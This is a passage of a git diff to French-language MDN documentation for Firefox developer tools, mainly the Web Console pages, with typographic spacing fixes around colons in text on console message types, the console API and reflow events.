style="height: 18px; width: 18px;">) pour importer une feuille de style ou le bouton de création (<img alt="Button to create a new style sheet" src="https://mdn.mozillademos.org/files/14195/Create%20style%20sheet%20button.png" style="height: 18px; width: 18px;">) pour en créer une nouvelle.</li> <li>Cliquez sur le bouton d'option du <a href="/fr/docs/Outils/Éditeur_de_style#Le_panneau_des_feuilles_de_style">panneau des feuilles de style</a> et cliquez sur <a href="/fr/docs/Outils/Éditeur_de_style#Support_de_.22Source_map.22">"Afficher les sources originales"</a> pour basculer vers l'affichage des fichiers du pré-processeur CSS.</li> </ul> diff --git a/files/fr/tools/tools_toolbox/index.html b/files/fr/tools/tools_toolbox/index.html index 26d70893fa..6cd8fa4b3e 100644 --- a/files/fr/tools/tools_toolbox/index.html +++ b/files/fr/tools/tools_toolbox/index.html @@ -17,7 +17,7 @@ original_slug: Outils/Outils_boite_à_outils <li>Sélectionner "Outils de développement" dans le menu "Développement" (dans "Outils" pour OS X et Linux, ou dans "Firefox" sous Windows),</li> <li>Cliquer sur l'icône en forme de clé à mollette (<img alt="" src="https://mdn.mozillademos.org/files/12710/wrench-icon.png" style="height: 21px; width: 21px;">), dans la barre d'outils principale ou dans le menu (<img alt="" src="https://mdn.mozillademos.org/files/12712/hamburger.png" style="height: 20px; width: 22px;">), puis sélectionner "Afficher les outils"</li> <li>Activer l'un des outils, par exemple le débogueur JavaScript ou l'inspecteur web).</li> - <li>Utiliser le raccourci <kbd>Ctrl</kbd>+ <kbd>Maj</kbd>+ <kbd>I</kbd> sous Windows ou Linux, ou bien <kbd>Cmd</kbd>+ <kbd>Opt</kbd> +<kbd>i</kbd> pour OS X. Ou bien même utiliser la touche <kbd>F12</kbd>. Voir aussi les <a href="/fr/docs/Tools/Keyboard_shortcuts">raccourcis clavier</a>.</li> + <li>Utiliser le raccourci <kbd>Ctrl</kbd>+ <kbd>Maj</kbd>+ <kbd>I</kbd> sous Windows ou Linux, ou bien <kbd>Cmd</kbd>+ <kbd>Opt</kbd> +<kbd>i</kbd> pour OS X. Ou bien même utiliser la touche <kbd>F12</kbd>. Voir aussi les <a href="/fr/docs/Tools/Keyboard_shortcuts">raccourcis clavier</a>.</li> </ul> <p>Par défaut, la fenêtre apparait en bas de la fenêtre de navigation, mais il est possible de la détacher. Voici à quoi ressemble la fenêtre en mode attaché :</p> diff --git a/files/fr/tools/validators/index.html b/files/fr/tools/validators/index.html index a894d9d79f..1e296f35a3 100644 --- a/files/fr/tools/validators/index.html +++ b/files/fr/tools/validators/index.html @@ -64,8 +64,8 @@ L'assistant de mise en conformité renverra vers Devedge <h3 id="Informations_sur_le_document_original" name="Informations_sur_le_document_original">Informations sur le document original</h3> <ul> - <li>Dernière mise à jour : 16 août 2002</li> - <li>Copyright : © 2001-2003 Netscape.</li> + <li>Dernière mise à jour : 16 août 2002</li> + <li>Copyright : © 2001-2003 Netscape.</li> </ul> </div> diff --git a/files/fr/tools/web_audio_editor/index.html b/files/fr/tools/web_audio_editor/index.html index 69175a1e24..9e8a6dc936 100644 --- a/files/fr/tools/web_audio_editor/index.html +++ b/files/fr/tools/web_audio_editor/index.html @@ -20,21 +20,21 @@ original_slug: Outils/Editeur_Web_Audio <li>Des nœuds représentant la <a href="/fr/docs/Web/API/Web_Audio_API#Defining_audio_destinations">destination du flux audio</a>, par exemple les hauts parleurs.</li> </ul> -<p>Chaque nœud à zéro ou plusieurs propriétés {{domxref ("AudioParam")}}. Ces propriétés configurent sa fonction. Par exemple le {{domxref ("GainNode")}} a une seule propriété <code>gain</code> alors que le nœud {{domxref ("OscillatorNode")}} a les propriétés <code>frequency</code> et <code>detune</code>.</p> +<p>Chaque nœud à zéro ou plusieurs propriétés {{domxref ("AudioParam")}}. Ces propriétés configurent sa fonction. Par exemple le {{domxref ("GainNode")}} a une seule propriété <code>gain</code> alors que le nœud {{domxref ("OscillatorNode")}} a les propriétés <code>frequency</code> et <code>detune</code>.</p> <p>Le développeur connecte les nœuds dans un graphique et le graphique une fois complet définit le comportement du flux audio.</p> -<p>L'Éditeur Web Audio examine un contexte audio construit dans la page et fournit une visualisation de son graphique. Cela donne une vue globale de son fonctionnement et permet de vérifier que tous les nœuds sont connectés comme attendu. Il est également possible d’examiner et d'éditer la propriété <code>AudioParam</code> pour chaque nœud du graphique. Quelques propriétés non-<code>AudioParam</code> comme une propriété <code>OscillatorNode</code>'s <code>type</code>, sont également affichées et il est aussi possible de les éditer.</p> +<p>L'Éditeur Web Audio examine un contexte audio construit dans la page et fournit une visualisation de son graphique. Cela donne une vue globale de son fonctionnement et permet de vérifier que tous les nœuds sont connectés comme attendu. Il est également possible d’examiner et d'éditer la propriété <code>AudioParam</code> pour chaque nœud du graphique. Quelques propriétés non-<code>AudioParam</code> comme une propriété <code>OscillatorNode</code>'s <code>type</code>, sont également affichées et il est aussi possible de les éditer.</p> <p>Cet outil étant encore expérimental, si vous trouvez des bugs, nous adorerions que vous les <a href="https://bugzilla.mozilla.org/enter_bug.cgi?product=Firefox&component=Developer%20Tools%3A%20Web%20Audio%20Editor">reportiez dans <span class="external external-icon">Bugzilla</span></a>. Si vous avez des avis ou des suggestions pour de nouvelles fonctionnalités, <a href="https://lists.mozilla.org/listinfo/dev-developer-tools">dev-developer-tools</a> ou <a href="http://twitter.com/firefoxdevtools">Twitter</a> sont de bon endroit pour les partager.</p> <h2 id="Ouvrir_l'Éditeur_Web_Audio">Ouvrir l'Éditeur Web Audio</h2> -<p>L'Éditeur Web Audio n'est pas activé par défaut dans Firefox 32. Pour l'activer, il faut ouvrir les<a href="/fr/docs/Tools/Tools_Toolbox#Settings_2"> options des outils de développement</a> et cocher l'option "Web Audio". Un nouvel onglet nommé "Web Audio" s'ajoute alors à vos outils de développement. Il faut ensuite cliquer sur l’onglet et charger une page avec un contexte audio. Voici deux bons exemples :</p> +<p>L'Éditeur Web Audio n'est pas activé par défaut dans Firefox 32. Pour l'activer, il faut ouvrir les<a href="/fr/docs/Tools/Tools_Toolbox#Settings_2"> options des outils de développement</a> et cocher l'option "Web Audio". Un nouvel onglet nommé "Web Audio" s'ajoute alors à vos outils de développement. Il faut ensuite cliquer sur l’onglet et charger une page avec un contexte audio. Voici deux bons exemples :</p> <ul> <li>Le <a href="https://github.com/mdn/voice-change-o-matic">Voice-change-O-Matic</a>, qui peut appliquer divers effets à l’entrée du microphone et fournit aussi une visualisation du résultat.</li> - <li>La démo <a href="http://mdn.github.io/violent-theremin/">Violent Theremin</a>, qui change le ton et le volume d'un signal sinusoïdal lorsque l'on bouge la souris.</li> + <li>La démo <a href="http://mdn.github.io/violent-theremin/">Violent Theremin</a>, qui change le ton et le volume d'un signal sinusoïdal lorsque l'on bouge la souris.</li> </ul> <h2 id="Visualiser_le_graphique">Visualiser le graphique</h2> diff --git a/files/fr/tools/web_console/console_messages/index.html b/files/fr/tools/web_console/console_messages/index.html index dbf34270a4..f12bb1eb54 100644 --- a/files/fr/tools/web_console/console_messages/index.html +++ b/files/fr/tools/web_console/console_messages/index.html @@ -6,7 +6,7 @@ original_slug: Outils/Console_Web/Console_messages --- <div>{{ToolsSidebar}}</div> -<p>La majorité de la Console Web est occupée par le panneau d'affichage des messages :</p> +<p>La majorité de la Console Web est occupée par le panneau d'affichage des messages :</p> <p><img alt="" src="https://mdn.mozillademos.org/files/13278/console-messages.png" style="display: block; height: 278px; margin-left: auto; margin-right: auto; width: 877px;"></p> @@ -23,16 +23,16 @@ original_slug: Outils/Console_Web/Console_messages <tr> <th scope="row">Catégorie</th> <td> - <p>Indique le type de message :</p> + <p>Indique le type de message :</p> <ul> <li><strong>Noir </strong>: Requête HTTP</li> - <li><span style="color: #0099ff;"><strong>Bleu </strong></span> : Avertissement/erreur CSS</li> - <li><strong><span style="color: #ff8c00;">Orange </span></strong> : Avertissement/erreur JavaScript</li> - <li><span style="color: #ff0000;"><strong>Rouge</strong></span> : Avertissement/erreur de sécurité</li> + <li><span style="color: #0099ff;"><strong>Bleu </strong></span> : Avertissement/erreur CSS</li> + <li><strong><span style="color: #ff8c00;">Orange </span></strong> : Avertissement/erreur JavaScript</li> + <li><span style="color: #ff0000;"><strong>Rouge</strong></span> : Avertissement/erreur de sécurité</li> <li>Vert : Logs serveur</li> - <li><span style="color: #a9a9a9;"><strong>Gris léger </strong></span> : Message de l'API <a href="/en-US/docs/Web/API/console" title="/en-US/docs/Web/API/console">Console</a></li> - <li><span style="color: #696969;"><strong>Gris foncé</strong></span> : Messages d'entrées/sorties de la <a href="/fr/docs/Tools/Web_Console/The_command_line_interpreter">ligne de commande JavaScript</a></li> + <li><span style="color: #a9a9a9;"><strong>Gris léger </strong></span> : Message de l'API <a href="/en-US/docs/Web/API/console" title="/en-US/docs/Web/API/console">Console</a></li> + <li><span style="color: #696969;"><strong>Gris foncé</strong></span> : Messages d'entrées/sorties de la <a href="/fr/docs/Tools/Web_Console/The_command_line_interpreter">ligne de commande JavaScript</a></li> </ul> </td> </tr> @@ -73,7 +73,7 @@ original_slug: Outils/Console_Web/Console_messages -<p>Les requêtes résseau sont affichées sous cette forme :</p> +<p>Les requêtes résseau sont affichées sous cette forme :</p> <p><img alt="" src="https://mdn.mozillademos.org/files/5593/web-console-message-request-annotated.png" style="display: block; height: 139px; margin-left: auto; margin-right: auto; width: 664px;"></p> @@ -108,13 +108,13 @@ original_slug: Outils/Console_Web/Console_messages </tbody> </table> -<p>Si vous cliquez sur le message, vous verrez une fenêtre contenant plus de détails sur la requête et la réponse :</p> +<p>Si vous cliquez sur le message, vous verrez une fenêtre contenant plus de détails sur la requête et la réponse :</p> -<p>Défiler vers le bas révèle les en-têtes de réponses. Par défaut, la Console Web n'enregistre pas les contenus de la requête et la réponse : pour le faire, activez le menu contextuel de la Console Web et choisissez "Journaliser le contenu des requêtes et des réponses". Rechargez la page, et vous les verrez dans cette fenêtre d'inspection.</p> +<p>Défiler vers le bas révèle les en-têtes de réponses. Par défaut, la Console Web n'enregistre pas les contenus de la requête et la réponse : pour le faire, activez le menu contextuel de la Console Web et choisissez "Journaliser le contenu des requêtes et des réponses". Rechargez la page, et vous les verrez dans cette fenêtre d'inspection.</p> <p>Seul le premier méga-octet de données est enregistré pour le contenu de chaque requête ou réponse. Les requêtes et les réponses très lourdes seront tronquées.</p> -<p>Les logs de messages réseaux ne sont pas montrés par defaut. Utiliser la fonction filtre pour les afficher.</p> +<p>Les logs de messages réseaux ne sont pas montrés par defaut. Utiliser la fonction filtre pour les afficher.</p> <h4 id="XHR">XHR</h4> @@ -128,7 +128,7 @@ original_slug: Outils/Console_Web/Console_messages <h3 id="Erreurs_et_avertissements_JavaScript">Erreurs et avertissements JavaScript</h3> -<p>Les messages JavaScript ressemblent à :</p> +<p>Les messages JavaScript ressemblent à :</p> <p><img alt="" src="https://mdn.mozillademos.org/files/7101/js-error-annotated.png" style="display: block; margin-left: auto; margin-right: auto;"></p> @@ -136,7 +136,7 @@ original_slug: Outils/Console_Web/Console_messages <h3 id="Erreurs_CSS_avertissements_et_évènements_de_reflow">Erreurs CSS, avertissements et évènements de <em>reflow</em></h3> -<p>Les messages CSS ressemblent à ceci :</p> +<p>Les messages CSS ressemblent à ceci :</p> <p><img alt="" src="https://mdn.mozillademos.org/files/5585/web-console-message-annotated.png" style="display: block; margin-left: auto; margin-right: auto;"></p> @@ -145,16 +145,16 @@ original_slug: Outils/Console_Web/Console_messages <h4 id="Évènements_de_reflow">Évènements de reflow</h4> <p>La Console Web logue aussi les évènements de reflow. Un reflow est le nom donné à une opération pendant laquelle le navigateur calcule la disposition de tout ou partie de la page.<br> - Les reflows se produisent lorsqu'un changement est arrivé dans la page et que la navigateur pense qu'il en affecte la disposition. Plusieurs évènements peuvent déclencher des reflows, incluant : redimensionner la fenêtre du navigateur, activer des pseudo-classes comme :hover ou manipuler le DOM en JavaScript.<br> + Les reflows se produisent lorsqu'un changement est arrivé dans la page et que la navigateur pense qu'il en affecte la disposition. Plusieurs évènements peuvent déclencher des reflows, incluant : redimensionner la fenêtre du navigateur, activer des pseudo-classes comme :hover ou manipuler le DOM en JavaScript.<br> <br> Parce que les reflows peuvent être très coûteux en calculs et affecter directement l'interface utilisateur, ils peuvent avoir un grand impact sur la réactivité d'un site ou d'une application web. En loguant les évènements de reflow, la Console Web peut vous donner une idée du moment auquel ces évènements sont déclenchés, combien de temps ils prennent à s'exécuter et si les reflows sont synchrones et déclenchés par du JavaScript, quel code les a déclenchés.<br> <br> Les évènements de reflow sont affichés dans la catégorie CSS, en tant que messages "Log", bien séparés des erreurs et avertissements CSS. Par défaut, ils sont désactivés. Vous pouvez les activer en cliquant sur le bouton "CSS" dans la boite à outils et en sélectionnant "Log".<br> <br> - Chaque message porte une étiquette "reflow" et montre le temps qui a fallu pour exécuter le reflow :<br> + Chaque message porte une étiquette "reflow" et montre le temps qui a fallu pour exécuter le reflow :<br> <br> <img alt="" src="https://mdn.mozillademos.org/files/7087/web-console-reflow-asynch.png" style="height: 53px; width: 554px;"><br> - Si le reflow est synchrone et a été déclenché par du JavaScript, un lien vers la ligne de code qui a déclenché le reflow est aussi affiché :</p> + Si le reflow est synchrone et a été déclenché par du JavaScript, un lien vers la ligne de code qui a déclenché le reflow est aussi affiché :</p> <p><img alt="" src="https://mdn.mozillademos.org/files/7089/web-console-reflow-synch.png"><br> Cliquez sur le lien pour ouvrir le fichier dans le <a href="/fr/docs/Tools/Debugger">Débogueur</a>.</p> @@ -163,7 +163,7 @@ original_slug: Outils/Console_Web/Console_messages <p>Si un changement est fait et qu'il invalide la disposition courante - par exemple, la fenêtre du navigateur est redimensionnée ou du JavaScript modifie le CSS d'un élément - la disposition n'est pas recalculée immédiatement. A la place, le reflow se produit de façon asynchrone, lorsque le navigateur décide que cela est nécessaire ; en général, lorsque le navigateur redessine ("repaint"). De cette façon, le navigateur peut enregistrer une série de changements invalidants et recalculer leurs effets en une seule fois. Cependant, si du code JavaScript lit un style qui a été modifié, alors le navigateur doit réaliser un reflow synchrone pour calculer le style calculé ("<em>computed style</em>") à retourner.</p> -<p>Par exemple, le code suivant provoque un reflow immédiat et synchrone au moment de l'appel à window.getComputedStyle(thing).height :</p> +<p>Par exemple, le code suivant provoque un reflow immédiat et synchrone au moment de l'appel à window.getComputedStyle(thing).height :</p> <pre class="brush: js notranslate"><code class="language-js"><span class="keyword token">var</span> thing <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById<span class="punctuation token">(</span></span><span class="string token">"the-thing"</span><span class="punctuation token">)</span><span class="punctuation token">;</span> thing<span class="punctuation token">.</span>style<span class="punctuation token">.</span>display <span class="operator token">=</span> <span class="string token">"inline-block"</span><span class="punctuation token">;</span> @@ -174,11 +174,11 @@ thing<span class="punctuation token">.</span>style<span class="punctuation token <h3 id="Avertissements_et_erreurs_de_sécurité">Avertissements et erreurs de sécurité</h3> -<p>Les avertissements et les erreurs de sécurité ressemblent à ceci :</p> +<p>Les avertissements et les erreurs de sécurité ressemblent à ceci :</p> <p><img alt="" src="https://mdn.mozillademos.org/files/7107/sec-error-annotated.png" style="display: block; margin-left: auto; margin-right: auto;">Les messages de sécurité affichés dans la console web aident les développeurs à trouver les vulnérabilités de leur site qu’elles soient potentielles ou effectives. De plus, beaucoup de ces messages sont enrichissants pour les développeurs car ils finissent par un lien "En savoir plus" qui redirige sur une page contenant des informations et des conseils pour minimiser le problème.</p> -<p>La liste complète des messages de sécurité est la suivante :</p> +<p>La liste complète des messages de sécurité est la suivante :</p> <table class="standard-table" style="width: auto;"> <tbody> @@ -188,22 +188,22 @@ thing<span class="punctuation token">.</span>style<span class="punctuation token </tr> <tr> <td>Blocage du chargement du contenu mixte actif</td> - <td>La page contient du contenu mixte actif : ce qui est le cas si la page est délivrée en HTTPS mais demande au navigateur de charger du contenu actif (des scripts par exemple) en HTTP. Le navigateur a bloqué ce contenu. Voir la page <a href="/fr/docs/Security/MixedContent">Contenu Mixte</a> pour plus d'informations.</td> + <td>La page contient du contenu mixte actif : ce qui est le cas si la page est délivrée en HTTPS mais demande au navigateur de charger du contenu actif (des scripts par exemple) en HTTP. Le navigateur a bloqué ce contenu. Voir la page <a href="/fr/docs/Security/MixedContent">Contenu Mixte</a> pour plus d'informations.</td> </tr> <tr> <td>Blocage du chargement du contenu mixte non actif</td> - <td>La page contient du contenu mixte non actif : ce qui est le cas si la page est délivrée en HTTPS mais demande au navigateur de charger du contenu non actif (des images par exemple) en HTTP. Le navigateur a bloqué ce contenu. Voir la page <a href="/fr/docs/Security/MixedContent">Contenu Mixte</a> pour plus d'informations.</td> + <td>La page contient du contenu mixte non actif : ce qui est le cas si la page est délivrée en HTTPS mais demande au navigateur de charger du contenu non actif (des images par exemple) en HTTP. Le navigateur a bloqué ce contenu. Voir la page <a href="/fr/docs/Security/MixedContent">Contenu Mixte</a> pour plus d'informations.</td> </tr> <tr> <td>Chargement de contenu mixte actif (non sécurisé) sur une page sécurisée</td> - <td>La page contient du contenu mixte actif : ce qui est le cas si la page est délivrée en HTTPS mais demande au navigateur de charger du contenu actif (des scripts par exemple) en HTTP. Le navigateur a chargé ce contenu. Voir la page <a href="/fr/docs/Security/MixedContent">Contenu Mixte</a> pour plus d'informations.</td> + <td>La page contient du contenu mixte actif : ce qui est le cas si la page est délivrée en HTTPS mais demande au navigateur de charger du contenu actif (des scripts par exemple) en HTTP. Le navigateur a chargé ce contenu. Voir la page <a href="/fr/docs/Security/MixedContent">Contenu Mixte</a> pour plus d'informations.</td> </tr> <tr> <td>Chargement de contenu mixte non actif (non sécurisé) sur une page sécurisée</td> - <td>La page contient du contenu mixte non actif : ce qui est le cas si la page est délivrée en HTTPS mais demande au navigateur de charger du contenu non actif (des images par exemple) en HTTP. Le navigateur a chargé ce contenu. Voir la page <a href="/fr/docs/Security/MixedContent">Contenu Mixte</a> pour plus d'informations.</td> + <td>La page contient du contenu mixte non actif : ce qui est le cas si la page est délivrée en HTTPS mais demande au navigateur de charger du contenu non actif (des images par exemple) en HTTP. Le navigateur a chargé ce contenu. Voir la page <a href="/fr/docs/Security/MixedContent">Contenu Mixte</a> pour plus d'informations.</td> </tr> <tr> - <td>Le site spécifie un en-tête X-Content-Security-Policy/Report-Only et un en-tête Content-Security-Policy/Report-Only. L’en-tête X-Content-Security-Policy/Report-Only sera ignoré.</td> + <td>Le site spécifie un en-tête X-Content-Security-Policy/Report-Only et un en-tête Content-Security-Policy/Report-Only. L’en-tête X-Content-Security-Policy/Report-Only sera ignoré.</td> <td>Voir <a href="/fr/docs/Security/CSP">Content Security Policy</a> pour plus de détails.</td> </tr> <tr> @@ -267,14 +267,14 @@ thing<span class="punctuation token">.</span>style<span class="punctuation token <tr> <td><a href="https://developer.mozilla.org/en-US/docs/Web/API/Console.error"><code>error()</code></a></td> <td> - <p>L'argument à <code>error()</code>.</p> + <p>L'argument à <code>error()</code>.</p> - <pre class="brush: js language-js notranslate"> + <pre class="brush: js language-js notranslate"> <code class="language-js">console<span class="punctuation token">.</span><span class="function token">error<span class="punctuation token">(</span></span><span class="string token">"an error"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> <img alt="" src="https://mdn.mozillademos.org/files/7143/api-error.png" style="display: block; margin-left: auto; margin-right: auto;"> - <p>A partir de Firefox 31, la console affiche la pile complète des erreurs :</p> + <p>A partir de Firefox 31, la console affiche la pile complète des erreurs :</p> - <pre class="brush: js language-js notranslate"> + <pre class="brush: js language-js notranslate"> <code class="language-js"><span class="keyword token">function</span> <span class="function token">error<span class="punctuation token">(</span></span><span class="punctuation token">)</span> <span class="punctuation token">{</span> console<span class="punctuation token">.</span><span class="function token">error<span class="punctuation token">(</span></span><span class="string token">"an error"</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> @@ -295,14 +295,14 @@ thing<span class="punctuation token">.</span>style<span class="punctuation token <tr> <td><a href="https://developer.mozilla.org/en-US/docs/Web/API/Console.assert"><code>assert()</code></a></td> <td> - <p>Si l'insertion fonctionne, rien. Si l'insertion ne fonctionne pas l'argument :</p> + <p>Si l'insertion fonctionne, rien. Si l'insertion ne fonctionne pas l'argument :</p> - <pre class="brush: js language-js notranslate"> + <pre class="brush: js language-js notranslate"> <code class="language-js">console<span class="punctuation token">.</span><span class="function token">assert<span class="punctuation token">(</span></span><span class="keyword token">false</span><span class="punctuation token">,</span> <span class="string token">"My assertion always fails"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> <img alt="" src="https://mdn.mozillademos.org/files/7139/api-assert.png" style="display: block; margin-left: auto; margin-right: auto;"> - <p>A partir de Firefox 31, la console affiche la pile complète des insertions :</p> + <p>A partir de Firefox 31, la console affiche la pile complète des insertions :</p> - <pre class="brush: js language-js notranslate"> + <pre class="brush: js language-js notranslate"> <code class="language-js"><span class="keyword token">function</span> <span class="function token">assertion<span class="punctuation token">(</span></span><span class="punctuation token">)</span> <span class="punctuation token">{</span> console<span class="punctuation token">.</span><span class="function token">assert<span class="punctuation token">(</span></span><span class="keyword token">false</span><span class="punctuation token">,</span> <span class="string token">"assertion failed"</span><span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> @@ -334,7 +334,7 @@ thing<span class="punctuation token">.</span>style<span class="punctuation token <td> <p>L'argument à <code>warn()</code>.</p> - <pre class="brush: js language-js notranslate"> + <pre class="brush: js language-js notranslate"> <code class="language-js">console<span class="punctuation token">.</span><span class="function token">warn<span class="punctuation token">(</span></span><span class="string token">"a warning"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> <img alt="" src="https://mdn.mozillademos.org/files/7155/api-warn.png" style="display: block; margin-left: auto; margin-right: auto;"></td> </tr> @@ -356,7 +356,7 @@ thing<span class="punctuation token">.</span>style<span class="punctuation token <td> <p>L'argument à <code>info()</code>.</p> - <pre class="brush: js language-js notranslate"> + <pre class="brush: js language-js notranslate"> <code class="language-js">console<span class="punctuation token">.</span><span class="function token">info<span class="punctuation token">(</span></span><span class="string token">"some info"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> <img alt="" src="https://mdn.mozillademos.org/files/7145/api-info.png" style="display: block; margin-left: auto; margin-right: auto;"></td> </tr> @@ -378,7 +378,7 @@ thing<span class="punctuation token">.</span>style<span class="punctuation token <td> <p>Le label fourni, si présent, et le nombre d'occurrences que <code>count()</code> a appelé avec le label donné.</p> - <pre class="brush: js language-js notranslate"> + <pre class="brush: js language-js notranslate"> <code class="language-js">console<span class="punctuation token">.</span><span class="function token">count<span class="punctuation token">(</span></span>user<span class="punctuation token">.</span>value<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> <p><img alt="" src="https://mdn.mozillademos.org/files/7359/api-count.png" style="display: block; margin-left: auto; margin-right: auto;"></p> @@ -389,14 +389,14 @@ thing<span class="punctuation token">.</span>style<span class="punctuation token <td> <p><code>L'argument à log()</code>.</p> - <pre class="brush: js language-js notranslate"> + <pre class="brush: js language-js notranslate"> <code class="language-js">console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"logged"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> <img alt="" src="https://mdn.mozillademos.org/files/7147/api-log.png" style="display: block; margin-left: auto; margin-right: auto;"></td> </tr> <tr> <td><a href="https://developer.mozilla.org/en-US/docs/Web/API/Console.trace"><code>trace()</code></a></td> <td>Trace de la pile. - <pre class="brush: js language-js notranslate"> + <pre class="brush: js language-js notranslate"> <code class="language-js">console<span class="punctuation token">.</span><span class="function token">trace<span class="punctuation token">(</span></span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> <img alt="" src="https://mdn.mozillademos.org/files/7159/api-trace.png" style="display: block; margin-left: auto; margin-right: auto;"></td> </tr> @@ -405,7 +405,7 @@ thing<span class="punctuation token">.</span>style<span class="punctuation token <td> <p>Liste les propriétés d'un objet.</p> - <pre class="brush: js language-js notranslate"> + <pre class="brush: js language-js notranslate"> <code class="language-js"><span class="keyword token">var</span> user <span class="operator token">=</span> document<span class="punctuation token">.</span><span class="function token">getElementById<span class="punctuation token">(</span></span><span class="string token">'user'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> console<span class="punctuation token">.</span><span class="function token">dir<span class="punctuation token">(</span></span>user<span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> <img alt="" src="https://mdn.mozillademos.org/files/7157/api-dir.png" style="display: block; margin-left: auto; margin-right: auto;"></td> @@ -415,7 +415,7 @@ console<span class="punctuation token">.</span><span class="function token">dir< <td> <p>Notifie que le timer a démarré.</p> - <pre class="brush: js language-js notranslate"> + <pre class="brush: js language-js notranslate"> <code class="language-js">console<span class="punctuation token">.</span><span class="function token">time<span class="punctuation token">(</span></span><span class="string token">"t"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> <img alt="" src="https://mdn.mozillademos.org/files/7149/api-time.png" style="display: block; margin-left: auto; margin-right: auto;"></td> </tr> @@ -424,7 +424,7 @@ console<span class="punctuation token">.</span><span class="function token">dir< <td> <p>Durée du timer.</p> - <pre class="brush: js language-js notranslate"> + <pre class="brush: js language-js notranslate"> <code class="language-js">console<span class="punctuation token">.</span><span class="function token">timeEnd<span class="punctuation token">(</span></span><span class="string token">"t"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> <img alt="" src="https://mdn.mozillademos.org/files/7151/api-timeEnd.png" style="display: block; margin-left: auto; margin-right: auto;"></td> </tr> @@ -447,21 +447,21 @@ console<span class="punctuation token">.</span><span class="function token">dir< <h4 id="Personnalisation_des_messages">Personnalisation des messages</h4> -<p>Depuis Firefox 31, il est possible d'utiliser le spécificateur de format <code>"%c"</code> pour personnaliser les messages console :</p> +<p>Depuis Firefox 31, il est possible d'utiliser le spécificateur de format <code>"%c"</code> pour personnaliser les messages console :</p> -<pre class="brush: js language-js notranslate"><code class="language-js">console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"%cMy stylish message"</span><span class="punctuation token">,</span> <span class="string token">"color: red; font-style: italic"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> +<pre class="brush: js language-js notranslate"><code class="language-js">console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span><span class="string token">"%cMy stylish message"</span><span class="punctuation token">,</span> <span class="string token">"color: red; font-style: italic"</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> <div><img alt="" src="https://mdn.mozillademos.org/files/7739/console-style.png" style="display: block; height: 52px; margin-left: auto; margin-right: auto; width: 293px;"></div> <h3 id="Messages_dentréesortie">Messages d'entrée/sortie</h3> -<p>Les commandes envoyées au navigateur en utilisant <a href="#command-line" title="#command-line">la ligne de commande de la Console Web</a>, et les réponses correspondantes, sont affichés de cette façon :</p> +<p>Les commandes envoyées au navigateur en utilisant <a href="#command-line" title="#command-line">la ligne de commande de la Console Web</a>, et les réponses correspondantes, sont affichés de cette façon :</p> <p><img alt="" src="https://mdn.mozillademos.org/files/5587/web-console-message-input-output.png" style="display: block; height: 68px; margin-left: auto; margin-right: auto; width: 554px;">La barre gris foncé indique qu'il s'agit de messages d'entrée/sortie, tandis que la direction de la flèche indique si il s’agit d'une entrée ou d'une sortie.</p> <h3 id="Filtrer_et_rechercher"><a name="filtering-and-searching">Filtrer et rechercher</a></h3> -<p>Vous pouvez utiliser la barre d'outils en haut pour filtrer l'affichage :</p> +<p>Vous pouvez utiliser la barre d'outils en haut pour filtrer l'affichage :</p> <p><img alt="" src="https://mdn.mozillademos.org/files/5601/web-console-toolbar-highlighted.png" style="display: block; height: 401px; margin-left: auto; margin-right: auto; width: 924px;">To see only messages of particular types, click the button labeled with that type ("Net", "CSS", and so on). Clicking the main part of the button toggles that type on or off, while clicking the arrow on the right gives you more fine-grained filter options within that type (for example, whether to display errors and warnings).</p> diff --git a/files/fr/tools/web_console/helpers/index.html b/files/fr/tools/web_console/helpers/index.html index d505945d7c..3121acba55 100644 --- a/files/fr/tools/web_console/helpers/index.html +++ b/files/fr/tools/web_console/helpers/index.html @@ -75,7 +75,7 @@ original_slug: Outils/Console_Web/Fonctions_d_aide <h3 id="Exemple_Afficher_le_contenu_dun_nœud_DOM">Exemple : Afficher le contenu d'un nœud DOM</h3> -<p>Imaginons que vous déboguez à distance pour un utilisateur, et que vous avez besoin du contenu du nœud. Vous pouvez demander à votre utilisateur d'ouvrir la Console Web et d'afficher le contenu du nœud dans la console, de copier le texte et de vous l'envoyer par e-mail, en utilisant la fonction <code>pprint()</code> :</p> +<p>Imaginons que vous déboguez à distance pour un utilisateur, et que vous avez besoin du contenu du nœud. Vous pouvez demander à votre utilisateur d'ouvrir la Console Web et d'afficher le contenu du nœud dans la console, de copier le texte et de vous l'envoyer par e-mail, en utilisant la fonction <code>pprint()</code> :</p> <pre class="brush: js notranslate">pprint($("#content")) </pre> diff --git a/files/fr/tools/web_console/index.html b/files/fr/tools/web_console/index.html index 162fe4b482..c850045e21 100644 --- a/files/fr/tools/web_console/index.html +++ b/files/fr/tools/web_console/index.html @@ -14,10 +14,10 @@ original_slug: Outils/Console_Web --- <div>{{ToolsSidebar}}</div> -<p><strong>La Console Web :</strong></p> +<p><strong>La Console Web :</strong></p> <ol> - <li>Affiche les informations associées à la page web : les requêtes réseau, le JavaScript, le CSS, les erreurs et avertissements de sécurité, ainsi que les erreurs, les avertissements et les messages d'information explicitement affichés par le code JavaScript s’exécutant sur la page.</li> + <li>Affiche les informations associées à la page web : les requêtes réseau, le JavaScript, le CSS, les erreurs et avertissements de sécurité, ainsi que les erreurs, les avertissements et les messages d'information explicitement affichés par le code JavaScript s’exécutant sur la page.</li> <li>Permet d’interagir avec la page web en exécutant des expressions JavaScript dans le contexte de la page.</li> </ol> diff --git a/files/fr/tools/web_console/the_command_line_interpreter/index.html 